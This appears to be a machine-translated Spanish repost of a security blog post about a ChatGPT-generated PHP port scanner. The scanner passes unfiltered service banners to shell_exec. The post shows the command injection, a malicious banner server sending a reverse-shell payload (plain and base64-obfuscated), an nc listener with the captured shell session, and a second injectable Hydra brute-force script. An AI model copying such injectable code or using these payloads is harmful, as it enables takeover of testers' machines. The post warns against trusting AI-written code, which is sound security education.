Diario Bernabéu

Encuentra toda la información nacional e internacional sobre españa. Selecciona los temas sobre los que quieres saber más

Le pedimos a ChatGPT que creara una herramienta útil de auditoría de seguridad.  Lo hizo, pero con una vulnerabilidad crítica que le permitió apoderarse de la computadora del pentester.

Le pedimos a ChatGPT que creara una herramienta útil de auditoría de seguridad. Lo hizo, pero con una vulnerabilidad crítica que le permitió apoderarse de la computadora del pentester.

ChatGPT, una herramienta tan especial que se habla de ella por todas partes. También en el contexto de las amenazas que trae a las industrias potenciales (por ejemplo, los programadores), ya que la gente teme por sus sitios. También mencionan las ventajas, es decir, agilizar el trabajo de varios grupos de empleados, como los probadores de penetración. Como soy uno de ellos, decidí comprobar qué puede ofrecer esta creatividad en el siglo XXI.

Así que creé el siguiente aviso (una instrucción para el bot, en base a la cual generará el script apropiado para mí):

Hola querido chat GPT, desempeñe el papel de un experto en seguridad de TI y escriba un artículo sobre el uso de tecnología como el chat GPT para crear herramientas útiles en el trabajo de pruebas de penetración. La herramienta que vas a describir es un escáner de puertos con la función de detectar banners de servicios de identificación CVE para él.

El bot pensó por un momento y respondió de la siguiente manera:

Por supuesto, presento un artículo a continuación sobre el uso de chats GPT como soporte para crear escáneres de puertos, incluida la detección de banderas y la búsqueda de CVE de versiones encontradas de servicios.
Los sistemas de prueba de seguridad requieren el uso de varias herramientas, incluido un escáner de puertos. Una forma de aumentar la efectividad de las pruebas es utilizar tecnologías avanzadas de inteligencia artificial, como el chat GPT, que puede ser un apoyo invaluable para los evaluadores de penetración.
El chat GPT se puede usar para generar automáticamente código de script de prueba, incluidos los scripts de escaneo de puertos. Gracias al uso de esta tecnología, es posible crear escenarios de ataque realistas y generar automáticamente scripts para pruebas de seguridad.
A continuación se muestra un código PHP de ejemplo para escanear puertos, con funcionalidad adicional para detectar banners y buscar CVE para versiones de servicios encontradas, generado por el chat de GPT:
<?php
$host = 'example.com'; // adres IP lub nazwa domenowa
$ports = array(21, 22, 80, 443, 3306); // lista portów do przetestowania
foreach ($ports as $port) {
  $connection = @fsockopen($host, $port, $errno, $errstr, 1);
  if (is_resource($connection)) {
    echo "Port $port is open \n";
    // wykrywanie bannerów
    $banner = fgets($connection, 4096);
    echo "Banner: $banner \n";
    // szukanie CVE dla znalezionych wersji usług
    $cve = shell_exec("searchsploit --color $banner");
    echo "CVEs: $cve";
    fclose($connection);
  } else {
    echo "Port $port is closed \n";
  }
}
?>

La detección de banners puede ayudar a los evaluadores a identificar las versiones de software que están utilizando, lo que les permite verificar más rápidamente si un servicio en particular contiene vulnerabilidades de seguridad conocidas. El uso de herramientas de investigación de CVE para las versiones encontradas puede permitir a los evaluadores encontrar rápidamente información sobre posibles vulnerabilidades, lo que permite una implementación más rápida de la protección adecuada y la prevención de ataques.
Una de las herramientas populares para encontrar información sobre CVE es SearchSploit, que es una herramienta disponible en Kali Linux. En el ejemplo anterior, el script PHP usa esta herramienta para buscar CVE para los banners que encuentra.
Un aspecto importante de las pruebas de penetración es también el informe de las vulnerabilidades de seguridad que se encuentran. ChatGPT puede ayudarlo a generar informes automáticamente en función de los resultados de las pruebas, lo que le permite informar vulnerabilidades y recomendaciones de seguridad de manera más rápida y eficiente.
En resumen, el uso de chatGPT como soporte para los probadores de penetración puede aumentar considerablemente la efectividad de las pruebas de seguridad. La adición de funcionalidades, como la detección de banners y la búsqueda de versiones encontradas, puede ayudar a los evaluadores a identificar y corregir rápidamente posibles vulnerabilidades. Los informes automatizados también pueden ayudar a comunicar vulnerabilidades y recomendaciones de seguridad de manera más rápida y efectiva.

A primera vista, podría pensar que es una gran oferta. Siguiendo este camino, cualquier herramienta requerida para realizar pruebas de penetración individuales se puede crear muy rápidamente utilizando el bot mencionado anteriormente. Sin embargo, cuando observa el contenido del código que nos devolvió, puede ver que hay un problema.

Los gráficos fueron creados usando: https://imgflip.com/memegenerator

La herramienta creada mediante inteligencia artificial, destinada a facilitar el trabajo de pentester, se ha convertido, en consecuencia, en una herramienta que permite el acceso remoto de una persona no autorizada a la máquina desde la que se ejecutará el código.

Así que analicemos el código anterior y veamos qué sucede.

$banner = fgets($connection, 4096);

La línea de código responsable de descargar los anuncios de servicio no filtra los datos entrantes. En las siguientes líneas se puede ver que está asignado a una variable $pancarta El valor se inserta directamente (todavía sin ningún filtro) en la instrucción responsable de ejecutar el comando del sistema en la computadora del laboratorio:

$cve = shell_exec("searchsploit --color $banner");

direcciones shell_exec Llama a un comando desde el shell del sistema (como bash).

en el caso del valor de la variable $pancarta Obtenido del servidor probado de forma segura, el script funcionará según lo previsto y hará su trabajo al verificar las vulnerabilidades del servicio compilado utilizando la herramienta searchsploit.

En resumen, un ejemplo de un banner de servicio «Apache 2.0» válido nos devolverá algún resultado (CVE) para una versión de servidor dada. Pero, ¿y si el servidor probado no tiene esos datos, pero tiene una carga importante?

Como parte del escenario de prueba, configuré un servidor en mi tecnología preferida (PHP), que sirve ambas variantes (seguro y menos PoC).

<?php
set_time_limit(0);
ob_implicit_flush();
 
$address = '127.0.0.1′;
$port = 10001;
 
if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
    echo „Couldn’t create socket” .socket_strerror(socket_last_error()).”\n”;
}
 
if (socket_bind($socket, $address, $port) === false) {
    echo „Bind Error „.socket_strerror(socket_last_error($sock)) .”\n”;
}
 
if (socket_listen($socket, 5) === false) {
    echo „Listen Failed „.socket_strerror(socket_last_error($socket)) . „\n”;
}
 
do {
    if (($msgsock = socket_accept($socket)) === false) {
        echo „Error: socket_accept: ” . socket_strerror(socket_last_error($socket)) . „\n”;
        break;
    }
 
    /* Poprawna wiadomość */
    $msg = „Apache 2.0”;
    /* Atak na host skanującego */
    //$msg = „Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1”;
    socket_write($msgsock, $msg, strlen($msg));
 
    socket_close($msgsock);
} while (true);
 
socket_close($socket);
?>

Cuando ejecute la primera prueba y ejecute el servidor anterior para la variable anterior, obtendremos información sobre el logotipo compilado (y en mi caso, no searchsploit).

Código de herramienta creado por Chat GPT (la dirección IP y el rango de puertos cambiaron):

<?php
$host = '127.0.0.1'; // adres IP lub nazwa domenowa
$ports = array(2000,10001); // lista portów do przetestowania
 
foreach ($ports as $port) {
  $connection = @fsockopen($host, $port, $errno, $errstr, 1);
  if (is_resource($connection)) {
    echo "Port $port is open \n";
    // wykrywanie bannerów
    $banner = fgets($connection, 4096);
    echo "Banner: $banner \n";
    // szukanie CVE dla znalezionych wersji usług
    $cve = shell_exec("searchsploit --color $banner");
    echo "CVEs: $cve";
    fclose($connection);
  } else {
    echo "Port $port is closed \n";
  }
}
?>

Resultado de ejecutar el script:

php scan.php
Port 2000 is closed
Port 10001 is open
Banner: Apache 2.0
sh: searchsploit: command not found
CVEs: 

En el siguiente paso, comentamos en el código del servidor la línea responsable del banner correcto y dejamos su versión alternativa, menos segura, para el probador:

/* Poprawna wiadomość */
//$msg = "Apache 2.0";
/* Atak na host skanującego */
$msg = "Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1";

Reiniciamos el servidor con el código modificado y, mientras tanto, en la segunda ventana de terminal, iniciamos el servidor nc para escuchar la conexión inversa de shell entrante descrita en la variable $mensaje.

Ejemplo de llamada al servidor nc para conexiones entrantes (versión macOS):

nc -l 127.0.0.1 4242

Último paso, reinicie el escáner:

php scan.php
Port 2000 is closed
Port 10001 is open
Banner: Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1
sh: searchsploit: command not found
CVEs: 

El ataque tuvo éxito porque en una ventana de terminal con nc-server ejecutándose, se estableció una conexión con la máquina de la persona que verifica nuestro servidor:

nc -l 127.0.0.1 4242
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$ ls -la
total 16
drwxr-xr-x     4 rk  staff    128 22 kwi 21:39 .
drwx------@ 1764 rk  staff  56448 22 kwi 22:07 ..
-rw-r--r--@    1 rk  staff    589 22 kwi 22:12 scan.php
-rw-r--r--@    1 rk  staff    951 22 kwi 22:29 server.php
bash-3.2$ echo hacked>own.txt
bash-3.2$ ls -la
total 24
drwxr-xr-x     5 rk  staff    160 22 kwi 22:30 .
drwx------@ 1764 rk  staff  56448 22 kwi 22:07 ..
-rw-r--r--     1 rk  staff      7 22 kwi 22:30 own.txt
-rw-r--r--@    1 rk  staff    589 22 kwi 22:12 scan.php
-rw-r--r--@    1 rk  staff    951 22 kwi 22:29 server.php
bash-3.2$ cat own.txt  
hacked
bash-3.2$ 

El ataque completo también está disponible en el siguiente video:

Mientras escribía el artículo, cuando se lo di a un amigo para que lo revisara, mencionó que cuando alguien ve un banner en la pantalla, vale la pena «bash-i> & /dev/tcp/127.0.0.1/4242 0> & 1«, esto cortará inmediatamente el acceso a Internet. La carga útil preparada es solo un ejemplo, siempre puede modificar el código del servidor para que la carga útil sea más ofuscada:

$msg = "Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh";

La visualización en la pantalla del probador al intentar escanear será la siguiente:

php scan.php
Port 2000 is closed
Port 10002 is open
Banner: Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh
sh: searchsploit: command not found
CVEs: 

Hay muchas formas diferentes de ofuscación de código, desde el formato hexadecimal clásico hasta el cifrado.

En definitiva, las nuevas tecnologías nos brindan nuevas oportunidades, pero usémoslas con precaución. No dejemos que la pereza nos lleve a que comencemos a confiar implícitamente en las soluciones que se nos ofrecen. Además, apliquemos el principio de confianza limitada, porque el código anterior se obtiene de Internet (bot), así que tratémoslo como cualquier otro código de Internet: no es nuestro, así que verifiquemos su contenido.

El ataque anterior requiere varios factores y condiciones. El atacante debe tener un servidor especialmente diseñado que haya sido el objetivo del hacker o verificador de IA. Sin embargo, el potencial de código peligroso no se limita a este tipo de solución. Son conocidos en la historia. casos Repositorios o exploits de GitHub infectados, cuyo objetivo no eran los servicios vulnerables, sino la computadora de la persona en la que se lanzaron.

En mi opinión, la IA en su forma actual no quitará el trabajo de los probadores de seguridad de TI. Gracias a la tecnología descrita anteriormente, el trabajo solo se puede aumentar.

¡atención!
importante para el lector -Usando otro aviso, pedí otra herramienta al chat de GPT y señalé las vulnerabilidades de seguridad/configuré una PoC (prueba de concepto).

A las 5 primeras personasque indicará la provisión de la solución correcta Premios – La solución debe enviarse a la dirección de correo electrónico: [email protected].

convocado:

Asuma el papel de un experto en seguridad de TI y escriba un script de ejemplo en PHP que recupere información sobre cualquier formulario de inicio de sesión (cuyo ID no conocemos) de la URL indicada, y luego realice un ataque de fuerza bruta en el usuario «administrador». utilizando Hidráulica

Respuesta:

Primero, necesitamos descargar el contenido del sitio y encontrar el formulario de inicio de sesión. Para esto podemos usar la biblioteca cURL y un analizador HTML como DOMDocument. Luego, una vez que encontramos el formulario de inicio de sesión, podemos forzar el uso de la herramienta Hydra en el usuario «admin».
Aquí hay un ejemplo de código PHP que realiza esta tarea:
<?php
// Adres URL formularza logowania
$url = "https://example.com/login";
 
// Użytkownik i hasło, dla których wykonamy atak brute force
$username = "admin";
$wordlist = "/path/to/wordlist.txt";
 
// Pobierz zawartość strony
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$html = curl_exec($ch);
curl_close($ch);
 
// Utwórz obiekt DOMDocument i wczytaj HTML
$dom = new DOMDocument();
@$dom->loadHTML($html);
 
// Znajdź formularz logowania
$forms = $dom->getElementsByTagName("form");
foreach ($forms as $form) {
    if (strtolower($form->getAttribute("method")) === "post") {
        // Znaleźliśmy formularz logowania
 
        // Znajdź pola formularza
        $inputs = $form->getElementsByTagName("input");
        $post_data = array();
        foreach ($inputs as $input) {
            $name = $input->getAttribute("name");
            $value = $input->getAttribute("value");
            if (!empty($name)) {
                $post_data[$name] = $value;
            }
        }
 
        // Wykonaj atak brute force za pomocą Hydra
        $command = "hydra -L $username -P $wordlist $url";
        foreach ($post_data as $name => $value) {
            $command .= " \"$name=$value\"";
        }
        $output = shell_exec($command);
 
        // Wyświetl wynik ataku
        echo $output;
 
        // Przerwij pętlę, ponieważ znaleźliśmy formularz logowania
        break;
    }
}
?>

Cabe señalar que este símbolo es solo para fines de visualización y no debe usarse para actividades ilegales. Los ataques de fuerza bruta son ilegales y llevarlos a cabo sin el consentimiento del propietario del sistema está penado por la ley.

Robert Krusik, Hacking W Seguridad

READ  Gran Turismo 7 ha sido criticado por tener un auto más difícil. Los desarrolladores reducen las recompensas de las carreras